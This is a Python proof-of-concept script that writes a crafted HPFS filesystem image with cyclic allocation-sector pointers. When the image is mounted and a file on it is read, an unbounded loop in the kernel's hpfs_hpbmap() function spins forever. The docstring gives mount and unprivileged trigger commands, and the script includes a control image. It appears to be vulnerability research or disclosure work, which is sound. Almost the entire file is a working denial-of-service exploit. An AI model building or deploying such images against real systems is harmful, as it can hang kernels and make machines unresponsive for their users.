#!/usr/bin/env python3
"""
DF-0858 — Hand-crafted minimal HPFS image to trigger the unbounded dive-depth
infinite kernel loop in hpfs_hpbmap() (sys/vfs/hpfs/hpfs_alsubr.c:78,110) via
cyclic AlSec pointers.

The image is laid out as follows (sector size = 512B, DEV_BSIZE):

  LSN     contents
  ----    ---------------------------------------------------------------
  0x00    boot sector (zeros, 0x55AA sig)
  0x10    SuperBlock   (magic FA53E9C5F995E849; rootfno=0x20; btotal=0xA0;
                        su_bitmap.lsn1=0x30)
  0x11    SpareBlock   (magic FA5229C5F9911849; sp_cpinum=0)
  0x20    root fnode   (VDIR; fn_ab: AB_NODES leaf, busycnt=1;
                        alleaf[0]={0,1,0x40})
  0x30    bitmap dir   (one u32 = 0x38, the bitmap sector)
  0x38    bitmap       (4KB = 8 sectors; mark used sectors)
  0x40    dirblk       (4 sectors = 2KB; D_MAGIC=77E40AAE; one dirent "FILE"
                        -> fnode LSN=0x48)
  0x48    file fnode   (VREG; fn_size=0x10000; FORGED fn_ab: AB_NODES set,
                        busycnt=1; alnode[0]={an_nextoff=0xFFFFFFFF,
                        an_lsn=0x60}  -> AlSec A)
  0x60    AlSec A      (magic 0x37E40AAE; AB_NODES set, busycnt=1;
                        alnode[0]={an_nextoff=0xFFFFFFFF, an_lsn=0x80}
                        -> AlSec B)
  0x80    AlSec B      (magic 0x37E40AAE; AB_NODES set, busycnt=1;
                        alnode[0]={an_nextoff=0xFFFFFFFF, an_lsn=0x60}
                        -> AlSec A   *** CYCLE BACK ***)
  0xA0    (end of allocated image)

Mount:  mount_hpfs -o ro /dev/vnX /mnt   (root)
Trigger (as unpriv user): cat /mnt/FILE   or  stat /mnt/FILE
        -> VOP_READ/VOP_GETATTR -> hpfs_hpbmap -> dives A->B->A->B->...
           forever (no depth cap, no visited-set, no cycle detection).
        After first pass both AlSec buffers are B_CACHE so bread() returns
        immediately -> TIGHT KERNEL CPU SPIN; the process is unkillable
        (SIGKILL cannot deliver while in kernel mode). The guest becomes
        unresponsive; only vm.sh reset can recover.

Control image (build_image(control=True)) points AlSec A's child at a leaf
AlSec instead of B, so the loop terminates normally — proves the cycle is the
cause, not the structure.

References:
  sys/vfs/hpfs/hpfs_alsubr.c:78   dive: label
  sys/vfs/hpfs/hpfs_alsubr.c:80   for(i=0;i<ab_busycnt;i++) on AlNodes
  sys/vfs/hpfs/hpfs_alsubr.c:82   if (bn < anp->an_nextoff)
  sys/vfs/hpfs/hpfs_alsubr.c:89   bread(devvp, dbtodoff(anp->an_lsn), ...)
  sys/vfs/hpfs/hpfs_alsubr.c:99   AS_MAGIC check
  sys/vfs/hpfs/hpfs_alsubr.c:106  abp = &asp->as_ab;  (descend into child)
  sys/vfs/hpfs/hpfs_alsubr.c:110  goto dive;          (no depth counter!)
  sys/vfs/hpfs/hpfs.h:172-178     struct alblk
  sys/vfs/hpfs/hpfs.h:233-236     struct alnode
  sys/vfs/hpfs/hpfs.h:261-268     struct alsec, AS_MAGIC
"""
import struct, sys

SECTOR = 512
# magics
SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE
D_MAGIC  = 0x77E40AAE
AS_MAGIC = 0x37E40AAE
AB_NODES = 0x80

# struct fnode offsets (same as DF-0857 craft_img.py — verified vs hpfs.h amd64)
FN_OFF_MAGIC   = 0x00
FN_OFF_HIST    = 0x08
FN_OFF_NAMELEN = 0x10
FN_OFF_NAME    = 0x11
FN_OFF_PARENT  = 0x20
FN_OFF_ACL     = 0x24
FN_OFF_ACLLEN  = 0x2C
FN_OFF_ACLFLG  = 0x2E
FN_OFF_HISTBC  = 0x2F
FN_OFF_EXTEA   = 0x30
FN_OFF_EALEN   = 0x38
FN_OFF_EXTEAFLG= 0x3A
FN_OFF_FLAG    = 0x3B
FN_OFF_AB      = 0x3C
FN_OFF_ABD     = 0x44
FN_OFF_SIZE    = 0xA4
# alblk_t internal layout
AB_OFF_FLAG     = 0
AB_OFF_FREECNT  = 4
AB_OFF_BUSYCNT  = 5
AB_OFF_FREEOFF  = 6  # u16

# struct alsec offsets (computed from hpfs.h struct alsec):
#   as_magic   u32   @ 0x00
#   as_self    lsn_t @ 0x04
#   as_parent  lsn_t @ 0x08
#   as_ab      alblk @ 0x0C   (8 bytes)
#   as_abd[0x1E0]     @ 0x14
AS_OFF_MAGIC  = 0x00
AS_OFF_SELF   = 0x04
AS_OFF_PARENT = 0x08
AS_OFF_AB     = 0x0C
AS_OFF_ABD    = 0x14

# alnode_t (an_nextoff u32, an_lsn u32) = 8 bytes
AN_OFF_NEXTOFF = 0x00
AN_OFF_LSN     = 0x04

# Image layout constants (LSNs in sectors)
LSN_BOOT      = 0x00
LSN_SUPER     = 0x10
LSN_SPARE     = 0x11
LSN_ROOTFN    = 0x20
LSN_BMINDIR   = 0x30
LSN_BITMAP    = 0x38   # 8 sectors (4KB) bitmap band
LSN_DIRBLK    = 0x40   # 4 sectors (2KB) dirblk
LSN_FILEFN    = 0x48   # file fnode (FORGED cyclic alnode tree)
LSN_ALSEC_A   = 0x60   # AlSec A -> child = AlSec B
LSN_ALSEC_B   = 0x80   # AlSec B -> child = AlSec A   *** CYCLE ***
LSN_ALSEC_LEAF= 0x90   # (only used in control image: A -> leaf AlSec)
LSN_TOTAL     = 0xA0   # total image size in sectors (80 KiB)


def build_image(outpath, cyclic=True):
    """Build the HPFS image.

    cyclic=True  -> AlSec A points to AlSec B and B points back to A (INFINITE LOOP)
    cyclic=False -> AlSec A points to a leaf AlSec whose single alleaf maps
                    bn=0 -> LSN_ALSEC_LEAF+1 (terminates normally — control)
    """
    size = LSN_TOTAL * SECTOR
    img = bytearray(size)

    def wr32(off, v): struct.pack_into('<I', img, off, v & 0xFFFFFFFF)
    def wr64(off, v): struct.pack_into('<Q', img, off, v & 0xFFFFFFFFFFFFFFFF)
    def wr16(off, v): struct.pack_into('<H', img, off, v & 0xFFFF)
    def wr8 (off, v): img[off] = v & 0xFF

    # ---- Boot sector (sector 0): minimal JMP + 0x55AA ----
    img[0] = 0xEB
    wr16(SECTOR - 2, 0xAA55)

    # ---- SuperBlock @ 0x10 ----
    su = LSN_SUPER * SECTOR
    wr64(su + 0, SU_MAGIC)
    wr8 (su + 8, 2)              # su_hpfsver
    wr8 (su + 9, 0)              # su_fnctver
    wr16(su + 10, 0)             # unused
    wr32(su + 12, LSN_ROOTFN)    # su_rootfno
    wr32(su + 16, LSN_TOTAL)     # su_btotal
    wr32(su + 20, 0)             # su_badbtotal
    wr32(su + 24, LSN_BMINDIR)   # su_bitmap.lsn1
    wr32(su + 28, LSN_BMINDIR)   # su_bitmap.lsn2
    wr32(su + 32, 0); wr32(su + 36, 0)  # su_badbl

    # ---- SpareBlock @ 0x11 ----
    sp = LSN_SPARE * SECTOR
    wr64(sp + 0, SP_MAGIC)

    # ---- Bitmap directory @ 0x30 (one u32 = bitmap sector 0x38) ----
    bd = LSN_BMINDIR * SECTOR
    wr32(bd, LSN_BITMAP)

    # ---- Bitmap @ 0x38 (4KB). Mark all used sectors 0..0x8F used (bit cleared);
    #      sectors 0x90..0x9F free (bit set). bit SET = sector FREE. ----
    bm = LSN_BITMAP * SECTOR
    last_used = LSN_ALSEC_LEAF if cyclic else (LSN_ALSEC_LEAF + 1)
    for i in range(last_used):
        byte = bm + (i >> 3)
        img[byte] &= ~(1 << (i & 7))
    for i in range(last_used, LSN_TOTAL):
        byte = bm + (i >> 3)
        img[byte] |=  (1 << (i & 7))

    # ---- Root fnode @ 0x20 (VDIR; leaf AlBlk; one alleaf -> dirblk) ----
    rf = LSN_ROOTFN * SECTOR
    wr32(rf + FN_OFF_MAGIC, FN_MAGIC)
    wr64(rf + FN_OFF_HIST, 0)
    wr8 (rf + FN_OFF_NAMELEN, 1)
    img[rf + FN_OFF_NAME] = ord('.')
    wr32(rf + FN_OFF_PARENT, LSN_ROOTFN)  # self-parent for root
    wr32(rf + FN_OFF_FLAG, 1)             # VDIR (nonzero fn_flag)
    # fn_ab: leaf, busycnt=1, freecnt=7, freeoff=8+12
    img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0    # leaf
    img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7
    img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    # alleaf[0]: al_off=0, al_len=1, al_lsn=LSN_DIRBLK
    wr32(rf + FN_OFF_ABD + 0, 0)
    wr32(rf + FN_OFF_ABD + 4, 1)
    wr32(rf + FN_OFF_ABD + 8, LSN_DIRBLK)
    wr32(rf + FN_OFF_SIZE, 4 * SECTOR)  # dir size

    # ---- Dirblk @ 0x40 (4 sectors = 2KB). One dirent "FILE" -> file fnode. ----
    db = LSN_DIRBLK * SECTOR
    wr32(db + 0, D_MAGIC)
    wr32(db + 4, 0x50)                # d_freeoff (filled below)
    wr32(db + 8, 0)                   # d_chcnt
    wr32(db + 12, LSN_ROOTFN)         # d_parent
    wr32(db + 16, LSN_DIRBLK)         # d_self
    # dirent layout (same as DF-0857 craft_img.py — matches DragonFly amd64
    # in-kernel struct hpfsdirent, NOT OS/2 on-disk layout)
    name = b'FILE'
    de1_hdr = 0x2f
    de1_reclen = de1_hdr + len(name)
    de1_reclen = (de1_reclen + 3) & ~3
    dep = db + 20
    wr16(dep + 0x00, de1_reclen)
    wr16(dep + 0x02, 0)               # flag: not special/down/end
    wr32(dep + 0x04, LSN_FILEFN)      # de_fnode -> file fnode
    wr64(dep + 0x08, 0)               # de_mtime u64
    wr32(dep + 0x10, 0x10000)         # de_size = 64KB (so hpfs_hpbmap is called
                                       # with bn=0..127 on cat)
    wr64(dep + 0x18, 0)               # de_atime u64
    wr64(dep + 0x20, 0)               # de_ctime u64
    wr32(dep + 0x28, 0)               # de_ealen
    img[dep + 0x2c] = 0
    img[dep + 0x2d] = 0
    img[dep + 0x2e] = len(name)
    for i in range(len(name)):
        img[dep + 0x2f + i] = name[i]
    dep2 = dep + de1_reclen
    end_reclen = 4 * SECTOR - (dep2 - db)
    wr16(dep2 + 0x00, end_reclen)
    wr16(dep2 + 0x02, 0x08)           # DE_END
    wr32(db + 4, (dep2 + 4) - db)

    # ---- File fnode @ 0x48 (VREG; FORGED AB_NODES AlBlk; one alnode -> AlSec A) ----
    ff = LSN_FILEFN * SECTOR
    wr32(ff + FN_OFF_MAGIC, FN_MAGIC)
    wr32(ff + FN_OFF_PARENT, LSN_ROOTFN)
    wr8 (ff + FN_OFF_NAMELEN, 4)
    img[ff + FN_OFF_NAME + 0] = ord('F')
    img[ff + FN_OFF_NAME + 1] = ord('I')
    img[ff + FN_OFF_NAME + 2] = ord('L')
    img[ff + FN_OFF_NAME + 3] = ord('E')
    wr32(ff + FN_OFF_FLAG, 0)         # VREG
    # FORGED AlBlk: AB_NODES set, busycnt=1, freecnt=11, freeoff=8+8
    img[ff + FN_OFF_AB + AB_OFF_FLAG] = AB_NODES  # AB_NODES (forces the dive loop)
    img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 11
    img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 8)
    # alnode[0]: an_nextoff=0xFFFFFFFF (so any bn matches), an_lsn=AlSec A
    wr32(ff + FN_OFF_ABD + AN_OFF_NEXTOFF, 0xFFFFFFFF)
    wr32(ff + FN_OFF_ABD + AN_OFF_LSN,     LSN_ALSEC_A)
    wr32(ff + FN_OFF_SIZE, 0x10000)   # fn_size = 64KB (so cat reads bn=0..127)

    # ---- AlSec A @ 0x60 (AB_NODES, busycnt=1; alnode[0] -> AlSec B) ----
    aA = LSN_ALSEC_A * SECTOR
    wr32(aA + AS_OFF_MAGIC,  AS_MAGIC)
    wr32(aA + AS_OFF_SELF,   LSN_ALSEC_A)
    wr32(aA + AS_OFF_PARENT, LSN_FILEFN)
    img[aA + AS_OFF_AB + AB_OFF_FLAG] = AB_NODES
    img[aA + AS_OFF_AB + AB_OFF_FREECNT] = 59     # 60-1
    img[aA + AS_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(aA + AS_OFF_AB + AB_OFF_FREEOFF, 8 + 8)
    if cyclic:
        # CYCLE: A -> B
        wr32(aA + AS_OFF_ABD + AN_OFF_NEXTOFF, 0xFFFFFFFF)
        wr32(aA + AS_OFF_ABD + AN_OFF_LSN,     LSN_ALSEC_B)
    else:
        # CONTROL: A -> leaf AlSec
        wr32(aA + AS_OFF_ABD + AN_OFF_NEXTOFF, 0xFFFFFFFF)
        wr32(aA + AS_OFF_ABD + AN_OFF_LSN,     LSN_ALSEC_LEAF)

    # ---- AlSec B @ 0x80 (AB_NODES, busycnt=1; alnode[0] -> AlSec A) CYCLE ----
    aB = LSN_ALSEC_B * SECTOR
    wr32(aB + AS_OFF_MAGIC,  AS_MAGIC)
    wr32(aB + AS_OFF_SELF,   LSN_ALSEC_B)
    wr32(aB + AS_OFF_PARENT, LSN_ALSEC_A)
    img[aB + AS_OFF_AB + AB_OFF_FLAG] = AB_NODES
    img[aB + AS_OFF_AB + AB_OFF_FREECNT] = 59
    img[aB + AS_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(aB + AS_OFF_AB + AB_OFF_FREEOFF, 8 + 8)
    # CYCLE: B -> A
    wr32(aB + AS_OFF_ABD + AN_OFF_NEXTOFF, 0xFFFFFFFF)
    wr32(aB + AS_OFF_ABD + AN_OFF_LSN,     LSN_ALSEC_A)

    if not cyclic:
        # ---- Leaf AlSec @ 0x90 (CONTROL): one alleaf mapping bn=0 -> LSN 0x91 ----
        aL = LSN_ALSEC_LEAF * SECTOR
        wr32(aL + AS_OFF_MAGIC,  AS_MAGIC)
        wr32(aL + AS_OFF_SELF,   LSN_ALSEC_LEAF)
        wr32(aL + AS_OFF_PARENT, LSN_ALSEC_A)
        img[aL + AS_OFF_AB + AB_OFF_FLAG] = 0     # leaf
        img[aL + AS_OFF_AB + AB_OFF_FREECNT] = 39 # 40-1
        img[aL + AS_OFF_AB + AB_OFF_BUSYCNT] = 1
        wr16(aL + AS_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
        # alleaf[0]: al_off=0, al_len=0x80 (covers all 128 bn), al_lsn=LSN 0x91
        wr32(aL + AS_OFF_ABD + 0, 0)
        wr32(aL + AS_OFF_ABD + 4, 0x80)
        wr32(aL + AS_OFF_ABD + 8, LSN_ALSEC_LEAF + 1)

    with open(outpath, 'wb') as f:
        f.write(img)
    print(f"wrote {outpath}: {len(img)} bytes; cyclic={cyclic}")


if __name__ == '__main__':
    if len(sys.argv) > 2 and sys.argv[2] == 'control':
        build_image(sys.argv[1], cyclic=False)
    else:
        build_image(sys.argv[1] if len(sys.argv) > 1 else 'df858.img', cyclic=True)
